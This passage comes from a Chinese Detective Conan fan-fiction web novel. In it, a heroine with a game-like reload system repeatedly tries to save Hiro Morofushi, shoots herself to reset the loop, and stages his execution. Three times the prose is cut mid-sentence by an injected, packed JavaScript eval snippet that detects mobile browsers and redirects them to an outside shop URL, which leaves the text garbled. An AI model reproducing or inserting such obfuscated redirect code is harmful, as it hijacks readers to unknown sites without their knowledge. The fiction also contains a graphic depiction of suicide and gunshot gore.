但这些借口像是苍白的开脱,她脸皮再厚也说不出口——无论如何,对于没有记忆的诸伏景光来说,这一切确实像一场噩梦。 她叹了口气。 “再坚持一下……至少陪我等到太阳落山吧,白川?” 她自己都不知道要让诸伏景光坚持些什么。 只是看他这么难过,她也跟着难过起来。 再坚持这一下,她向她保证……再坚持一下,这场噩梦过后,下一个梦一定是个美梦。 空气中传来尖锐的破空声。 她并不意外地抬眼望去。在如血的夕阳下,她以极好的视力看见一枚导弹划过长长的弧线,直冲诸伏景光而来。 她打开系统面板,点击回档。 但系统却不如往常那样将她直接传送回去,而是响起了滴滴滴的报警声: 【警告!】 【检测到玩家精神异常,为保证玩家心理健康安全,现已关闭回档功能……】 眼看着导弹离诸伏景光越来越近,林溪嘴角勾起冷笑。 也只能用这些小伎俩了。 眼前的面板如同着急了一般,导弹还没有落下就开始迫不及待地生成文字。 【已完成】 【紧急任务】 【折翼飞鸟……】 林溪关掉面板,向前一步抬手抚上诸伏景光的后颈,将他拉的更近。 他们本来就离的很近,这下更是直接贴在了一起。 诸伏景光愣了一下,感觉少女的手从后颈转向了他的脸,轻柔地遮住了他的眼睛。 他于是顺从地闭眼。 林溪用另一只手掏出手枪,拉开保险,抬起来,对准了自己的太阳穴。 她笑了笑,扣下了扳机。 砰! …… 众所周知,所有可以读档回档的游戏,不止可以手动回档,还可以通过死亡的方式自动回档。 林溪的枪法很好,不管对敌人还是自己,都是一击毙命,无痛去世。 等她再睁开眼的时候,眼前不再是刮着风的天台。 而是温馨的、充满家的气息的室内。 是她和小哀的家。 她还在厨房,手上捏着开了一半的百香果,旁边是柠檬和冰过的绿茶。 ……她回到了她最开始接到紧急任务的时刻。 她缓缓吐出了一口气,闭了闭眼,想将眼前浮现的那些充满硝烟和鲜血的画面压下。 她拿起勺子,想继续手中的动作,将百香果肉挖出来。 但一直颤抖的手指抖了又抖,努力了好几次,手中的勺子总不听使唤,果肉带着浓郁的果汁被发抖的手弄到了桌子上。 林溪放下百香果,用空出来的那只手抓住另一只拿着勺子的手,试图让手平静下来。 结果手反而颤抖的更厉害了,显得她更狼狈了。 林溪都要被自己逗笑了。 她放弃努力,用抹布将桌上掉落的果肉和果汁擦去,然后倚靠在厨桌旁发了会呆。 她听着窗外聒噪的蝉鸣、风刮过树叶的沙沙作响声,看着阳光从厨房窗帘的缝隙中射入室内,在室内形成一块耀眼的光斑,心想—— 这才是人间的生活。 她静静呆了一会,听着自己的呼吸慢慢平稳下来。 她点开剧情任务列表,【折翼飞鸟】赫然在列,依旧是未完成的状态。 上一个周目至少让她验证了一件事情: 系统无法使用超自然能力。 也就是说,“剧情杀”的最大限度不能超过人力不能达到的程度,比如地震、海啸或者天降陨石。 一切都得是“合情合理”的,就算是突然掉落的石板或者走火的枪械这种“意外”,也得看上去合乎逻辑。 上个周目的导弹也不属于超自然能力,尚处在人类能做到的程度内:系统既然能让枪支走火,让导弹走一走火也没什么大不了的。 她脑海里念头电转,将茶先搁在了冰箱里——手的颤抖已经没那么明显了,这让她感到些许欣慰。 她解开围裙挂在衣架上,走上了楼,敲响了房门,就像她在一周目的时候所做的那样。 但这次门内却没有响应。 林溪疑惑地皱起了眉。 “小哀?” 她轻声喊道。 发生什么事了吗? 不会,这里很安全——这里附近所有的街道都有组织的人,不会有人潜入。 那是小哀看书看睡着了吗? 哎呀,在桌上睡觉对颈椎不好。 既然困了的话,要把她抱到床上才行。 她想了想,没有再等回应,直接伸手拧开了门锁,却看见茶色脑袋坐在书桌旁,背着门,缩成一团。 她吓了一跳,就要往里走,却看见随着她的靠近,茶色脑袋抖的更厉害了。 林溪愣住了,伸出去的手也顿在了半空中。 然后缓缓退了回去。 她突然想起柯南的一个设定。 是关于灰原哀的。 好像是说……她对于组织成员的气息格外敏感,而且非常害怕那种气息。 只要一有组织的人在她周围,她就会马上感到非常恐惧,如坠冰窟,浑身发抖,恨不得立马逃开……就像现在这样。 以前林溪从未在意过这个设定。 因为她虽然有BOSS的身份,但灰原哀却从来没有对她产生过恐惧,反而从一开始就对她非常亲近。 后来她进入了三十年前的副本中,回来之后,灰原哀也没有对她产生过任何反应,还是和往常一样。 于是她就完全把这件事抛在脑后了。 为什么现在,又……? 她低头。 光从门外射入,将她的影子投向室内,形成界限分明的光与暗。 . 灰原哀现在感觉很不好。 好恐怖、好恐怖…… 她身体不由自主地哆嗦着。 那恐怖的杀气就避无可避,就在她身后,仿佛有一只来自深海的怪兽在她背后盯着她,越来越近、越来越近…… 这股杀气出现的无缘无故,她明明就在家里看书,突然就被这股气息冲击得瑟瑟发抖。 她从前也有过这种感觉。 在组织实验室的时候,她曾经见过一个叫马德拉的干部。她远远地见过他,当时他正慢条斯理地对手底下的人交代任务。一个实验体被放在试验台上,四肢被束缚着,而马德拉看他的眼神像是在看某种无机物。 似乎是察觉到她的目光,那男人转头向她看来。 那目光冰冷,还带着点微不可见的轻蔑。 宫野志保感觉自己像是被毒蛇盯上了。 她脚底直冒寒气,浑身动弹不得。 好在男人很快转过了脸,不再看她。 当他擦肩而过的时候,宫野志保简直快要没出息地摊在地上了。 和现在这种感觉一模一样。 可是为什么会突然出现这种气息……有组织的人来了吗…… 潘趣在哪里…… 越来越近……门被打开了…… 不,别过来…… 宫野志保瑟瑟发抖。 然后她就感觉那恐怖的气息像是感觉到了她的恐惧,稍微远离了些。 ……咦? 她抖了一小会儿,心中升起猜测,保持着蜷缩的姿势慢慢转过头,看清了脸被蒙在阴影中的人。 果然,是潘趣…… 红发少女站在那里,低着头沉默着,脸完全笼罩在阴影下,让人看不清神色。 那让她感到恐惧的气息就是从少女身上散发出来的。 不知为何,宫野志保居然松了一口气。 虽然还在瑟瑟发抖,但提着的心却放了下来:还好是她,不是别人。 宫野志保虽然看不清少女的表情,但她却敏锐地感觉到少女的犹豫和后退。 她很快转身,似乎又要将门关上。 发生了什么? 宫野志保一边想着,一边下意识地喊道:“潘趣!” 背过去的身影顿了顿。 她努力克服恐惧,吞了吞口水,从椅子上下来,拖着发麻的双脚,拉住了林溪的衣角。 她自己都不知道为什么要怎么做,只是刚才少女的身影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050466|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在灯光下看上去……很孤独。孤单到让小志保觉得,如果不好好拉住她的话,她就会跑到人类再也找不到的地方去。 这可不行。 身前的人很快回神,笑着说:“小志保……” 然后摸了摸她的头。 宫野志保捉住她伸出来的手,拉住,感觉那惊人的杀气就像阳光下的初雪,很快就消融了,取而代之的是暖洋洋的气息,让她的身体放松下来,连刚才几乎如擂鼓般的心跳都平缓下来。 “柴原,刚才发生什么了吗?” 她抬起头问道。 柴原刚才身上有那么重的杀气,一定有什么事情发生了。 面前的少女偏头沉吟:“嗯,该怎么说好呢……我在烦恼,椰子好像又长胖了。” 刚刚渡步过来的椰子:? 它才没有!这不叫长胖!它只是毛发变得更蓬松了而已! 而且它胖了也是一只帅猫! 宫野志保却没被林溪糊弄住,她半月眼,抓着林溪的手不放:“骗人。刚才肯定发了什么事情!” 别想随便糊弄过关。 还好她拉住了她,宫野志保想,柴原居然开始找借口糊弄她了,刚才一定发生了很大的事情,让她都不肯说实话! 所以她刚才也没感觉错,少女那个晦暗不明的表情……分明就是伤心了。 “哎。”林溪叹了口气,“看来这事情是瞒不下去了。我一直不告诉你,就是怕你太伤心,志保……” 宫野志保:? 林溪:“你在阳台上养的多肉被椰子咬光了哦。” 宫野志保:! 椰子:喵喵喵? 铲屎官什么时候发现的! 它、它就只是啃了几口!谁想到那多肉那么脆弱,一下子就断了,它用嘴叼着,想给它安回去,结果反而越弄越乱、断掉的多肉反而越来越多了。 椰子当时见势不妙,丢下被咬的多肉就溜之大吉了。 多肉被搁在阳台的角落,椰子还以为粗心的两脚兽不会发现呢。 宫野志保危险的眼神瞟向走过来的椰子。 “喵喵喵!”椰子爪子一伸就要逃跑,被林溪一把抄起来,无情地塞到了宫野志保怀中。 不好意思,林溪心想,死道友不死贫道,可怜的椰子,你就代替一下你的好主人,替她挨批吧。 看见宫野志保抱住猫猫,一副要好好教训的样子,林溪嘿嘿一笑:“小志保,你好好教育椰子,我得出门一趟……” “啊,哦,好啊。”宫野志保自然地说,“请早点回来,我等你一起吃晚餐。” 林溪微微一怔:“……好。” 有人等着自己回家吃晚饭……真的是一件很美好的事情。 每个周目的最后,她望着夕阳,都会想起她答应过小哀,要早点回家吃饭。 但每次她都失约了——在每个周目夕阳西下的时候,等待她回家的小哀会想些什么呢? 她犹豫了一下,还是嘱咐道:“如果太晚了的话,你就要先吃饭哦,别把自己饿着。” 还是别等我了吧。 宫野志保抬起头,嘴撅着。 她把椰子放开,椰子猛地窜到走廊里跑没影了。 宫野志保也没管它,只是沉默地对着林溪张开双臂。 林溪愣了愣,然后乐开了花,蹲下来回抱住她,脸颊贴着脸颊:“志保~ ” 红发落在宫野志保的颈侧,她觉得有些痒,还有点不好意思。 她轻声说道:“早点回来,注意安全喔。” 自从知道林溪也是组织干部之后,她就知道林溪不可能一直待在她身边当保镖,也会有许多自己的任务,时常要出门。 至于一开始林溪突然过来说要当她的保镖,一副“快收留我吧”“我真的只是一个可怜没人要的实验体”的样子……那可能只是组织干部工作之余的突发奇想。 但是她真的很感谢林溪。 因为自从她来到她身边、进入她的生活之后,一切都变得不一样了。她好像宫野志保小时候从姐姐那里听来的童话中的仙女教母,拥有神奇的魔力,让宫野志保从灰姑娘变成了公主。 所以,就算她现在这么拙劣的转移话题,不肯告诉她发生了什么也没有关系…… 她希望无论发生什么,她都要照顾好自己,平平安安的。 91.推吧,西西弗斯-信任 天台。 林溪站在天台边缘,悠闲地喝着奶茶。 过了一会,脚步声响起,诸伏景光走到了她旁边。 林溪伸手塞给诸伏景光一杯奶茶:“买了两杯,热的珍珠奶茶,七分糖,应该不会太甜。” 诸伏景光愕然地接过。 他的左臂中了一枪,只是简单了止了一下血,还在灼烧般的疼,右手就已经被少女塞了一杯奶茶。 还是温热的。 “已经没有速愈绷带了。也许热奶茶能让你感觉好受些。” 林溪一边喝着奶茶,一边眺望远方。 和上个周目的死寂场面不同,街上现在一片安宁和谐,人们下班的下班,放学的放学,伴侣彼此相携,亲人结伴而行,都做着各自的事情。 热闹的人声和鸟雀的鸣叫声合在一起,在温暖的斜阳下,共同勾勒出一幅人间烟火的景象。 诸伏景光沉默着。 他闭了闭眼,从刚才上楼的时候开始,他的脑海中就一直不断涌现出各种各样的画面。 那些画面异常真实,栩栩如生,似在目前,而和画面一同浮现的还有翻腾着的情绪。 诸伏景光试图将这些画面和情绪当成受伤之后出现的幻觉。 但他没法说服自己,因为那些画面和情绪实在太过真实,真实到诸伏景光只要一想起来,就感觉自己要陷入无穷无尽的绝望中。 每次都是从这座天台开始,以他——或者她的死亡结束的。 他以为自己又要陷入再一次绝望的轮回中……但这一次似乎格外不同。 红发少女站在那里,喝着奶茶,没有任何其他的动作,只是看着远方。 在他过来之后,她又递给他一杯热奶茶,好像那些……那一切,全都没有发生过似得。 他的思想还没有反应过来,身体就已经先于脑子行动起来,条件反射般地接过了奶茶。 然后自然地喝了一口。 虽然右臂还在隐隐作痛,他现在还处于被追杀的状态,但不得不承认…… 奶茶好喝。 他的思维开始滑向奇怪的方向,比如,潘趣真的很会挑选食物。 每次他们出任务的时候,潘趣要是在,就会带他们去附近的小馆子里面吃饭。她对于美食的品味无可挑剔,每次挑到的店都很好吃,让人怀疑她是不是提前做过功课。 就比如上次她带着他在长野县吃的那家荞麦面。 很美味,让诸伏景光想起……在父亲母亲还没有去世之前,他的童年。 但在想到这里之后,诸伏景光又总忍不住想,潘趣的呢?潘趣的童年是怎样的? 是从人生的哪个岔路口开始,潘趣成为了组织成员、和他们成为了立场相悖的敌人了呢? 然后那张纸飞机上的字又再度浮现在他脑海里—— 【想家】。 看来不管是公安卧底,还是组织干部,全世界的人都有同样朴素的愿望,诸伏景光想。 那就是回家,每个人好像都有回不去的故乡,在人生的道路上伫立在身后,一转身就能回忆起,却永远都走不回去。 他将自己从漫无边际的思绪中拽回现实,侧头问道:“前辈,你……” 却见少女摆摆手,似乎是不耐烦:“你是不是又要说那些丧气话?” “那些我都听腻了哦!”她惟妙惟肖地模仿起来,表情一下子变得忧郁起来:“‘杀了我吧,前辈……’,‘我们立场不同,不要救我了……’” 诸伏景光的脸红了。 糟糕,自己说不觉得,潘趣一模仿他突然感觉好羞耻。 他轻咳一声:“前辈,我要说的不是这个。” 林溪摸着下巴:“那难道是在死之前要告诉我你的银行卡密码?” 虽然知道潘趣在开玩笑,但诸伏景光居然还认真考虑了一下这句话的可能性。 公安的工资加上组织的薪资应该不少,虽然诸伏景光从来没算过。自从潘趣让他事事想着报销,他出行就再也不怎么用自己的钱了。 ……不过,潘趣应该也不需要他那点微薄的工资。 “……如果前辈想要的话?” 林溪:…… 没人会嫌钱多,前提是他的工资不是她发的。 “你自己留着吧。”她有点无奈,“到底想跟我说什么?” “前辈……” 诸伏景光专注地盯着林溪的眼睛,“我接下来的话,还请你听了之后不要生气。” “你说吧,我看情况生气。”林溪没好气地说。 瞧瞧,这说的是什么话! 都已经知道她会生气了,肯定又要开始说那些话…… “前辈,不要让自己太累了。”猫眼青年认真地说,“我活到现在,看见很多优美的风景,结识了非常重要的挚友,我已经足够幸运了。” 他想起zero,想起兄长,以及和同期们一起度过的鸡飞狗跳的警校时期,轻轻笑了笑。 怎么能不够幸运? 他从前一直会冒出自我毁灭的想法,怨怪自己没有在父母死去的那个晚上跟着他们一起葬身于大火之中。但他一路上遇见了这么多美好的事物,这么多爱着他的人,他简直要感谢上苍了。 “幸运到……即使现在、立刻就死去,我也不会感到遗憾。” 林溪看着他的神情,很快就知道他说的话皆出自真心。 她悄悄叹了口气。 每次都这样…… 她知道诸伏景光想表达什么意思。 瞧他这些话,不就是在暗示她,让她赶紧放弃他,不要再试图救他了吗? 前几个周目她就隐隐感觉到了,她每次回档,不止她一个人会有那些周目的记忆。有的时候,她身边的其他人也会有—— 比如诸伏景光和琴酒。 不得不说,这让她感觉有点羞耻。 搞砸了这么多次,还不知她一个人知道,真是太丢人了。 还好这两位都没说的太明显,只是暗示了一下她,不然她真的要用脚趾搞基建了,在地板上扣出无数个三室一厅。 “我知道的,白川……” “还请叫我诸伏景光,前辈。”诸伏景光突然说道。 他脸上的神色一下子松弛下来,好像卸下了千斤重担。 他记得少女曾经差点叫出过他的真名。但在后来,无论多么紧急的情况,她都没有再喊错过,总是不断地喊他白川、白川、白川…… 那假名就像一道厚墙,不断提醒着诸伏景光他们之间的身份差异,以及他们的关系是在何种欺骗的基础上建立起来的。 但他们已经经历了……这么多次的死亡,又何必执着于活着时的身份呢? “你早就知道了吧,前辈?”他说,“白川浩只是一个假名。” 林溪有些惊讶,随即抱起胳膊,带着笑意调侃道: “到底谁陪你来卧底的?这绝对是他职业生涯的滑铁卢。” 怎么什么都往外说啊,诸伏先生! 她发现诸伏景光肉眼可见地变得明朗起来了,不免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079551|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些惊奇。 原来顶着假名生活对于诸伏景光压力这么大吗? 到底是谁派这家伙来卧底的啊! 诸伏景光不好意思地笑笑:“前辈既然之前没有告诉其他人,后面应该也会保密的,对吧?” “那可不一定,”林溪挑眉,“这次事件过后,说不定所有人都会知道哦?” 她猜测诸伏景光的暴露和组织在公安的卧底有关——上次朗姆跟她说起过这件事。 她不知道他暴露的具体细节,也许以后可以问问。 诸伏景光笑了笑:“那就……知道吧。” 除了潘趣,组织中还有谁会在意他的真名叫什么? 林溪撇了撇嘴,又吸了一口奶茶,眺望着远方。 她这次甚至将家里的遮阳帽带上了,帽檐在她的脸上打下一小片阴影。 诸伏景光看着她,突然开口道:“前辈已经想到方法了吗?” 经过了那么多次轮回,他还是第一次见少女这么悠闲。 “那当然,我是谁?”林溪没好气地说,“能不能对我多一些信任?说救你肯定能救下来你,这世界上还没我办不到的事。你就相信我就行了。” 语气狂妄,好像上一周目对着太阳穴开枪的不是她自己一样。 “倒是你,终于不喊着要我放弃你了吗?” 诸伏景光无奈地说:“我说的话但凡有一点用处的话,前辈你现在也不会站在这里了。” 既然反抗无效,那就躺平算了。 那些话诸伏景光已经在不断轮回中对面前的人说过很多次了,也对少女有多执拗有所认知。 她是不会听的。 诸伏景光想起了兄长曾对自己说的话:“‘如果遇见了无法解决的难题,可以请柴原小姐帮忙。’” 高明哥比自己看的要透彻多了。 但是高明哥恐怕也不知道,潘趣会这样……帮忙吧。 “哼,早这样乖乖听话不就好了?”少女说道,“对了,忘记问你了……” “诸伏,你喜欢什么花?” 诸伏景光微微一愣。 他沉吟片刻:“花的话,我倒没有特别偏爱的种类……如果硬要说的话,鸢尾花吧?” 其实诸伏景光对鸢尾花也没有什么特别的偏爱。 只是从前和zero一起逛画展的时候,恰好看见了梵高画的鸢尾花。 安静的鸢尾和画家狂野的笔触结合在一起,竟生出一股似乎要突破画纸的旺盛生命力,让人看了震动不已。 那花丛给他的印象实在非常深刻,所以当潘趣问起的时候,诸伏景光第一时间想到了鸢尾。 林溪苦恼地皱起眉头。 鸢尾的花期在春天,现在早就已经过了。 也许她可以找到温室栽培的。 她看了一眼西斜的太阳。 时间差不多了。 “听我说,诸伏。接下来你必须全身心地信任我,我对你做任何事情都不要反抗,照做就好,最好连思考都不要有。” “只有这样,你才能活着吃到两份工资,也许是三份,还要加上高额抚恤金……喂喂,你这家伙,严肃点,不要笑啦!”见青年脸上的笑意,她有点无奈地说道。 诸伏景光止住笑容。 他点点头:“好。” 让身为卧底的他全身心信任组织干部,作为白川光的他当然做不到,但作为诸伏景光却可以。 ……也许在少女提出信任她的要求之前,诸伏景光就已经下意识地信任她了。 92.请用一支鸢尾纪念我-折翼飞鸟 …… 天台。 赤井秀一沉默地看着面前带着兜帽的青年。 青年低着头,半张脸被蒙在阴影里,神色不复从前的开朗。 “没想到,你居然是卧底……苏格兰。” 他缓缓举起枪。 赤井秀一是真的没想到。 潘趣手底下的新人里面,除了他之外居然还有一个卧底,真是让人不知道说些什么好。 好在安室透看起来黑的彻底,不然他真的要怀疑潘趣是什么吸引卧底的体质了。 面前的青年依旧一言不发,只是又往后后退了一步,离他更远了一些。 赤井秀一的眼神带上了一点怜悯。 真可惜,他现在不能放水…… 他瞥向一旁抱着双臂看戏的少女,心想,如果不是潘趣也来了,他说不定可以暗中操作一下,保住这人的性命。 但现在潘趣就在他身边,听说一会儿波本那家伙也要过来,在这几瓶真酒的眼皮子底下,即使有FBI的帮助,他也很难搞什么小动作。 可惜了。他手上的手枪缓缓抬起,对准了青年的心脏。 青年低着头,好像认命了一般。 赤井秀一的思绪不受控制地偏移了一下。 多可笑啊,他想,一个卧底用枪指着另一个卧底,要取他的性命。 赤井秀一在心中暗暗下定决心。总有一天,他要查清楚父亲的下落,然后将组织彻彻底底地消灭掉。 他相信这也是所有卧底共同的愿望。 他缓慢扣下扳机。 砰! 青年踉跄几步,跌坐在天台的台沿边。 他的头无力地侧着,血不断地从他胸口涌出,洇湿了他的蓝色卫衣,并流到地面上,给天台增添了血腥的底色。 看上去已经没了气息。 他目光冷厉,正要收枪,就听见一旁的少女开口: “诸星,对准他的额头再来一枪。” 他的手一顿,转头说道:“潘趣,我刚才那一枪已经射穿了他的心脏。没必要多此一举吧?” 出于卧底之间的惺惺相惜,他实在不愿意开枪将苏格兰的脸破坏掉。 他知道卧底要经过怎样严峻的考核,为了避免身份暴露,他们很可能连照片都不能留下。 所以眼前青年的这张脸可能是他身份的唯一证明,也是他的亲人认出他的唯一凭证。如果破坏了这张脸,他连尸体都只能是一具无名尸体。 红发少女却没有这么轻易放过他。她冷冷抬眼,看起来有点生气。 “我说了,对准他的脑袋,再来一枪。” 她身后的楼梯口传来急促的脚步声。 赤井秀一眉头一皱,探询般地看向潘趣,似乎在询问她的意见: 来人了,要撤吗? 被普通人看见会很麻烦。 少女却好像不耐烦似的,管也不管后面的脚步声,越过他走向已经倒下的青年,拿出枪,抬手对准青年。 “诸星,看好了,对待卧底和叛徒,要让他们用鲜血来偿还。一枪打在心脏上,另外一枪就要对准额头,让他即使在地狱里,也没有逃亡的可能。” 少女一边说着,一边瞄准,缓缓扣下了扳机。 天台的脚步声越来越响,最后微掩着的门被猛地打开,露出了一脸焦急的金发青年。 原来是波本吗…… 警戒着的赤井秀一放下对准天台门口的枪。 难怪潘趣不急着撤离。 不过,为什么波本的表情看上去这么焦急? 听说苏格兰卧底期间,跟波本走的比较近。但波本被骗这么长时间,不应该感到愤怒吗?还是说,这是因为害怕不能亲手杀死他而产生的焦急情绪呢? 不过,无论他想做什么,都注定是赶不上了。 赤井秀一看向一旁的少女,听见了一声枪响。 潘趣的手很稳。旋转的子弹从枪□□出,贯穿了青年的整个脑袋。 血液混着脑浆从青年漏了洞的脑袋里流出。 他的脑袋在子弹强大的冲击力之下狠狠仰起,他的眼睛向前瞪着,嘴巴微张。 那模样实在不算太好,和安室透印象中温润清雅的挚友完全不同,以至于他微微闭上了眼睛,不忍多看。 hiro…… 他轻轻吐出一口气,再次睁开眼睛的时候,脸庞已经被一片冷肃覆盖。 “死了么?”他用一种十分刻意的嘲弄语气说道,“你们下手的速度还真是快啊。真是便宜这家伙了。” 他的话音尾音有些颤抖,还好除了他自己之外并没有被其他人注意到。 只有红发少女无喜无悲地看了他一样,转身托着青年的头,轻轻将他的眼睛合上了。 “潘趣,他的尸体就转交给我吧。”安室透冷笑着说,“一想到这段时间一只有一只老鼠在我旁边我就直犯恶心……不在他身上多开几个洞怎么能解我心头之恨?” 见少女没有动作,他表现得更加愤懑,握紧了拳头,眼睛直勾勾盯着诸伏景光的方向。 拜托了,一定要答应…… “入土为安,波本,你在想什么?”他听见少女冷漠地说,“既然是我一手带上来的,我负责了他的代号考核,自然也应该负责他的葬礼。” 少女说着,抱起了浑身染血的尸体。 尸体的手无力地垂下,随着少女的动作在空中晃荡着。 安室透表面上还在僵硬地笑着,实际上垂在身旁的手紧紧握着,指甲嵌入肉中,几乎要攥出血来。 你亲手杀了他,现在来装什么假好心! 他的灵魂在哭泣、狂吼,但身体却像被钉住了似得动弹不得。 少女抱着青年直直从他身旁走过,浓烈的血腥味传入他的鼻腔,简直让他头昏目眩。 挚友的衣角擦过他的手背,他下意识伸手,想要抓住什么,但最后手停在半空,什么都没能抓住。 他的注意力完全集中在少女怀中的尸体上,所以没有注意到少女此时的表情。 那分明是完完全全的困惑,还要加上一点茫然的悲伤。 她的眼神在背过身去时霎时变得空洞起来,抱着诸伏景光的尸体,好像不知道自己在哪里、也不知道自己在做什么,只是按照程序运行的傀儡,茫然地行动着。 她脚步顿了顿,在看见怀中满身是血的人时又恍惚了一瞬,说道:“记得……来参加他的葬礼。” 说完之后她就走了。 赤井秀一注意到她的白裙子被血染脏了。 他有点疑惑。 潘趣平时最爱干净了,连跟他们一起训练都要换掉汗湿的衣服。 怎么会任由别人的血把自己的衣裙染脏。 他探究的目光追随着怀抱着苏格兰的身影,直到她消失在楼梯中。 他收回目光,转向一旁的波本。 安室透已经完完全全将自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13097295|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失态隐藏起来,面上仍是一副轻蔑的样子,双手插兜,和他一样注视着潘趣离开的方向。 “真可惜,”金发青年嗤笑道,“这种家伙居然也要给他举办葬礼?潘趣也太形式主义了吧?” 赤井秀一沉默了一会儿,回应道:“潘趣就是这样的人。” “怎么,你觉得你很了解她?”安室透冷笑,“我好像记得我们拿到代号了之后就很少跟她来往了?” “她曾经跟我说过,”赤井秀一没理会他带刺的话,淡然地说,“如果有人背叛了她,她会亲手杀了他,给他办一场盛大的葬礼。卧底当然也是一样的。” “庆幸自己不是卧底吧,波本。不然不管你躲在哪儿,她都会杀了你的。”赤井秀一补充道。 他毫不怀疑潘趣会这样做,而他也真的…… 非常期待那一天。 谁是猎人谁是猎物还未可知哦? 安室透听了他的话更是冷笑连连:“还用你说?如果你是卧底,黑麦,我会第一个杀了你。” 这装日本人的美国人又是哪里来的立场教训他? 该死的组织,该死的黑麦,该死的……潘趣。 愤怒背后是如浪潮一般涌动的悲伤。 他的挚友在今天死掉了。 他的挚友在今天死掉了! 连尸体都被人带走了! 他放在兜中的手双手握紧。 此刻他的想法和半刻钟之前赤井秀一的想法完全一致: 总有一天、总有一天,他要将组织彻底消灭掉。 . 另一边。 林溪抱着青年,走下楼。 耳边传来系统“滴滴”的提示音。她的动作一顿,任由系统弹窗自动弹出,显示在面前。 【已完成】 【紧急任务】 【折翼飞鸟】 【卧底在组织的公安警察诸伏景光身份被发现,在组织的追缉下,被组织干部黑麦威士忌和潘趣于天台枪决。他的胸口中了黑麦威士忌的一枪,脑袋又被潘趣的子弹贯穿,当场死亡。】 【获得经验值30000点、有弹孔的手机x1、新鲜的鸢尾花束x1。】 同时完成的还有主线任务: 【已完成】 【丛林法则与规则不朽】 【5年之前,组织新晋了三位代号成员:黑麦威士忌、波本威士忌与苏格兰威士忌。他们被组织干部潘趣一手提拔起来,和她一起行走在黑暗世界中,维护着组织所划定的秩序。但很快,随着潘趣的退休和苏格兰的暴露,浮在表面上的和睦关系被撕破,波本和赤井秀一都展现出了野心勃勃、想要踩着其他人往上爬的一面……】 【获得经验值15000点、速愈绷带x5、望远镜x1。】 【关键剧情结点已完成,玩家可以选择离开副本。240h后将会自动离开……】 林溪茫然地看着面前虚拟面板上浮现的文字。 结束了吗? ……原来都是真实的吗? 脑袋好疼…… 她感觉一阵头昏目眩。 她抱着怀中的尸体,感觉心底空落落的:这段时间自己做了如此多的尝试,最终的结果还是这样吗? 不对,不可能,不会是这样…… 她难受地皱起眉头。 在这时她的耳畔传来熟悉的声音。 那声音让她疼痛昏沉的脑袋稍微清醒了一些。 93.请用一枝鸢尾纪念我-葬礼 “深呼吸,林小姐。” 熟悉的电子合成音响起。 是诺亚。 它的声音从林溪的耳麦中传来:“慢慢吸气、吐气……林小姐,您做的很好。” “不要想那些会让自己感到头疼的事情。” “在这件事上,你已经做了所有你可以做的事情。现在,让自己好好休息一下吧。” 林溪晃了晃脑袋。 此时她好像才察觉到自己臂弯中的重量,愣住了。 “诺亚,”过了一会儿,她缓缓开口,“我们失败了吗?” 她记得她给过自己最后三次机会。 三次之后,无论结果如何,都必须停止尝试。 否则会出现很严重的后果。 那天的手抖让林溪感觉很不好。她最讨厌事情失去控制的感觉,尤其是自己的身体——不受控制的手抖就是其中之一。 第一次她的实验让死亡卷席了整条街。 第二次她在天台上和诸伏景光一起看夕阳。 她记得他当时自信满满,让诸伏景光相信她,她一定会让他活下来的…… 然而那之后的记忆就如同蒙了雾的玻璃,怎么看都看不清楚,怎么想都想不起来。 她只记得她最后还是用手枪顶住了自己的太阳穴,开了枪。 而这一次……应该是最后一次。 她抱着还在流血的尸体,抿着唇,心中充满了不真实的感觉。 诺亚沉默半晌,语气甚至带上了一点怜悯:“林小姐,诸伏景光已经死了。” “请节哀。” “您现在应该做的,是将尸体处理好。” “……” “您现在需要将尸体搬到停车场中。那里有一辆车在等着您。我已经用您的权限命令组织的外围成员封锁了这里,很快负责清理的人员会赶来,一切痕迹都会被消除。” 诺亚人性化地停顿了一下,好像在等待林溪消化它话语里的信息。 然后电子合成音再次开口:“请节哀。” 林溪站在原地没动。 半晌之后,她说:“真奇怪。我总感觉……剧情不应该这么发展的。” 她应该能想出办法,让诸伏景光能够好好的活在这个世界上,而不是像现在这样,没了生命的躯体逐渐在她的怀中失去温度。 AI沉默了。 它强大的运算能力和庞大的数据库让它一瞬间筛选出了很多在人类社会中用于安慰和哀悼的话,然而好像都不适用此情此景。 那些话都太简单、太轻飘,即使说出来,也不能让死亡这件事情对于活着的人来说变得更容易接受。 最后它只能说:“林小姐,请节哀。” 请节哀。 …… “你今天回来的好晚……你还好吗?” 宫野志保打开门,敏锐地感觉到林溪现在的状态不太对劲。 果然发生了什么事吗? 林溪绿色的眼睛转向她。 无论多少次,宫野志保对着这双眼睛,都会不由自主地在心里感叹: 好漂亮的一双眼睛。 让人忍不住升起想要被这双眼睛注视的渴望。 